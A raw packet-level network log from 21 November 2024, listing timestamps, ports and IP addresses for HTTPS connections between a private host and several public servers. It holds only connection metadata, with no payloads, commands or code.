Nov 21, 2024 22:09:35.429981947 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.432040930 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.432111979 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.432127953 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.432183027 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.444402933 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.457397938 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.457849979 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.457866907 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.465626001 CET	443	49744	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:35.465751886 CET	49744	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:35.470832109 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.470884085 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.470899105 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.483705044 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.483760118 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.483774900 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.495503902 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.495553017 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.495583057 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.507234097 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.507381916 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.507395983 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.519233942 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.519336939 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.519352913 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.531023979 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.532676935 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.532691956 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.540575981 CET	443	49784	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.540834904 CET	49784	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.540848970 CET	443	49784	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.544358969 CET	443	49784	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.544424057 CET	49784	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.544739962 CET	49784	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.544912100 CET	443	49784	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.556205034 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.556267023 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.556299925 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.560472965 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.560530901 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.560545921 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.568968058 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.569030046 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.569051027 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.583298922 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.585144997 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.585160017 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.588504076 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.588558912 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.588574886 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.593482971 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.593615055 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.593627930 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.599631071 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.599680901 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.599694014 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.601316929 CET	443	49785	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.603611946 CET	49785	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.603643894 CET	443	49785	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.605089903 CET	443	49785	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.605148077 CET	49785	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.605420113 CET	49785	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.605504990 CET	443	49785	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.605562925 CET	49785	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.605571032 CET	443	49785	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.607351065 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.607471943 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.607537985 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.607553005 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.607604027 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.614985943 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.623444080 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.623524904 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.623539925 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.629952908 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.630012989 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.630026102 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.637722015 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.637794971 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.637814999 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.637932062 CET	49784	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.637939930 CET	443	49784	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.645225048 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.645286083 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.645301104 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.649260044 CET	49785	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.649349928 CET	443	49785	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.649425983 CET	49785	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.652862072 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.652924061 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.652937889 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.675887108 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.675950050 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.675966978 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.677622080 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.677685976 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.677700043 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.680367947 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.680531025 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.680586100 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.680600882 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.680655003 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.684659004 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.696615934 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.696676970 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.696691990 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.708338022 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.708424091 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.708437920 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.720369101 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.720423937 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.720438957 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.721646070 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.721719980 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.721734047 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.724180937 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.724242926 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.724256992 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.732384920 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.732445955 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.732460976 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.734221935 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.734287977 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.734302044 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.740153074 CET	443	49786	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.740382910 CET	49786	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.740391970 CET	443	49786	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.743926048 CET	443	49786	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.744002104 CET	49786	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.744278908 CET	49786	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.744393110 CET	49786	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.744457006 CET	443	49786	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.757323027 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.757399082 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.757412910 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.757900953 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.757966995 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.757981062 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.760102034 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.761070967 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.761085033 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.761853933 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.761951923 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.761965990 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.764216900 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.764286995 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.767967939 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.767992020 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.816401958 CET	49804	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.816422939 CET	443	49804	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.816875935 CET	49805	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.816890001 CET	49804	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.816924095 CET	443	49805	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.817059994 CET	49804	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.817065954 CET	443	49804	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.817085028 CET	49805	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.817167997 CET	49805	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.817174911 CET	443	49805	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.830923080 CET	49784	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.862175941 CET	49786	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.862181902 CET	443	49786	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.909264088 CET	49786	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.169601917 CET	49744	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:36.169684887 CET	443	49744	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:36.169733047 CET	49744	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:36.169753075 CET	443	49744	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:36.169780016 CET	49746	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:36.169821978 CET	49746	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:36.169857979 CET	49747	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:36.169933081 CET	49747	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:36.170578003 CET	443	49746	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:36.170644045 CET	49746	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:36.170973063 CET	443	49747	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:36.171040058 CET	49747	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:36.194076061 CET	443	49786	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.194263935 CET	443	49786	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.194317102 CET	49786	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.194436073 CET	49786	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.194446087 CET	443	49786	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.195158005 CET	49748	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:36.246438026 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:36.246520042 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:36.246557951 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:36.246597052 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:36.246607065 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:36.246690989 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:36.246699095 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:36.246758938 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:36.246808052 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:36.246866941 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:36.246901035 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:36.246961117 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:36.246988058 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:36.247123003 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:36.247140884 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:36.551346064 CET	443	49802	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.552438974 CET	49802	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.552473068 CET	443	49802	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.552944899 CET	443	49802	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.553543091 CET	49802	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.553631067 CET	443	49802	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.593517065 CET	443	49800	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.593714952 CET	49800	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.593729973 CET	443	49800	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.594187021 CET	443	49800	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.596127987 CET	49800	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.596237898 CET	443	49800	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.600708961 CET	443	49799	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.600783110 CET	443	49801	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.601052046 CET	49801	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.601062059 CET	443	49801	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.601089954 CET	49799	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.601133108 CET	443	49799	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.602145910 CET	443	49801	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.602236986 CET	443	49799	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.602543116 CET	49799	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.602725983 CET	443	49799	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.602830887 CET	49801	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.603003025 CET	443	49801	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.606590986 CET	49802	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.653007984 CET	49800	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.653021097 CET	49799	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.653027058 CET	49801	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.775865078 CET	443	49803	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:36.776290894 CET	49803	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:36.776323080 CET	443	49803	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:36.777796984 CET	443	49803	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:36.777868986 CET	49803	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:36.779124975 CET	49803	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:36.779328108 CET	49803	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:36.789951086 CET	49810	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:36.789988041 CET	443	49810	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:36.790059090 CET	49810	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:36.790380001 CET	49810	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:36.790393114 CET	443	49810	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:36.813435078 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:36.813468933 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:36.813612938 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:36.813795090 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:36.813810110 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:36.894145012 CET	443	49796	18.165.220.106	192.168.2.4
Nov 21, 2024 22:09:36.896555901 CET	49796	443	192.168.2.4	18.165.220.106
Nov 21, 2024 22:09:36.896588087 CET	443	49796	18.165.220.106	192.168.2.4
Nov 21, 2024 22:09:36.898128033 CET	443	49796	18.165.220.106	192.168.2.4
Nov 21, 2024 22:09:36.898211956 CET	49796	443	192.168.2.4	18.165.220.106
Nov 21, 2024 22:09:36.901871920 CET	49796	443	192.168.2.4	18.165.220.106
Nov 21, 2024 22:09:36.901946068 CET	443	49796	18.165.220.106	192.168.2.4
Nov 21, 2024 22:09:36.951894999 CET	49796	443	192.168.2.4	18.165.220.106
Nov 21, 2024 22:09:36.951961040 CET	443	49796	18.165.220.106	192.168.2.4
Nov 21, 2024 22:09:36.998392105 CET	49796	443	192.168.2.4	18.165.220.106
Nov 21, 2024 22:09:37.169193983 CET	443	49805	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.169694901 CET	443	49804	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.170742035 CET	49805	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.170758963 CET	443	49805	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.170916080 CET	49804	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.170927048 CET	443	49804	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.171406984 CET	443	49804	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.171828032 CET	443	49805	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.171890020 CET	49805	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.173266888 CET	49804	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.173335075 CET	443	49804	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.173856020 CET	49805	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.173908949 CET	443	49805	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.213711977 CET	49804	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.213799953 CET	49805	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.213815928 CET	443	49805	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.259119034 CET	49805	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.690077066 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:37.690121889 CET	443	49812	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:37.690176964 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:37.694190025 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:37.694220066 CET	443	49812	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:37.824373007 CET	49813	443	192.168.2.4	142.250.65.202
Nov 21, 2024 22:09:37.824466944 CET	443	49813	142.250.65.202	192.168.2.4
Nov 21, 2024 22:09:37.824599981 CET	49813	443	192.168.2.4	142.250.65.202
Nov 21, 2024 22:09:37.831707001 CET	49813	443	192.168.2.4	142.250.65.202
Nov 21, 2024 22:09:37.831763029 CET	443	49813	142.250.65.202	192.168.2.4
Nov 21, 2024 22:09:37.832650900 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:37.832686901 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:37.832747936 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:37.832945108 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:37.832959890 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:38.034917116 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.035204887 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.035273075 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.036772966 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.036845922 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.038191080 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.038281918 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.038363934 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.038383007 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.089559078 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.092633963 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.092868090 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.092897892 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.094321012 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.094382048 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.094710112 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.094779968 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.094892979 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.094901085 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.135601044 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.283140898 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.283365011 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.283386946 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.284840107 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.284902096 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.285161972 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.285242081 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.285300970 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.285307884 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.337224007 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.516108036 CET	443	49810	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:38.516489029 CET	49810	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:38.516522884 CET	443	49810	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:38.518460989 CET	443	49810	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:38.518516064 CET	49810	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:38.519606113 CET	49810	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:38.519761086 CET	49810	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:38.613379955 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.613442898 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.613464117 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.613507032 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.613526106 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.613526106 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.613550901 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.613596916 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.613653898 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.613653898 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.613653898 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.637581110 CET	49815	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:38.637610912 CET	443	49815	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:38.637758970 CET	49815	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:38.638242960 CET	49815	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:38.638257027 CET	443	49815	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:38.705142021 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:38.705475092 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:38.705535889 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:38.707202911 CET	443	49811	152.195.19.97	192.168.2.4
